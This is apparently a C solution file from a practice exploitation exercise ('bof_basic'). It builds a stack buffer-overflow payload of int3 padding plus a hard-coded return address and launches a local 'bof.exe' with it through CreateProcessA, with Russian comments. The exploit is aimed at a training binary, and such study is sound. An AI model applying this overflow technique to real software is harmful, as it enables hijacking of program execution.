Files
go_pwner/workspace/bof_basic/solve.c
T
2026-07-18 21:37:15 +03:00

68 lines
2.4 KiB
C

#include <windows.h>
#include <stdio.h>
int main()
{
char payload[] = {
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
"\xF8\x0E\x7E\x77"
};
char commandLine[] = "bof.exe ";
size_t neededSize = strlen(commandLine) + strlen(payload) + 1;
char* fin = (char*)malloc(neededSize);
snprintf(fin, neededSize, "%s%s", commandLine, payload);
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
BOOL success = CreateProcessA(
NULL, // Имя модуля (используем командную строку)
fin, // Командная строка (включая аргументы)
NULL, // Атрибуты безопасности процесса
NULL, // Атрибуты безопасности потока
FALSE, // Наследование дескрипторов
0, //CREATE_SUSPENDED, // КРИТИЧЕСКИЙ ФЛАГ, сразу либо зависнет
NULL, // Окружение
NULL, // Текущий каталог
&si, // Указатель на STARTUPINFO
&pi // Указатель на PROCESS_INFORMATION
);
/* if (!success) {
printf("[FAIL] Не удалось создать процесс. Ошибка: %lu\n", GetLastError());
return 1;
}
printf("[SUCCESS] Процесс запущен! PID: %lu\n", pi.dwProcessId);
printf("[*] Сейчас самое время подключиться дебаггером (WinDbg/x64dbg) к PID %lu\n", pi.dwProcessId);
printf("Нажми ENTER, чтобы возобновить поток и отправить инпут...\n");
getchar();
// Оживляем главный поток процесса
printf("[*] Возобновление потока...\n");
ResumeThread(pi.hThread);
*/
// Закрываем дескрипторы (они больше не нужны нашему лоадеру)
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
free(fin);
return 0;
}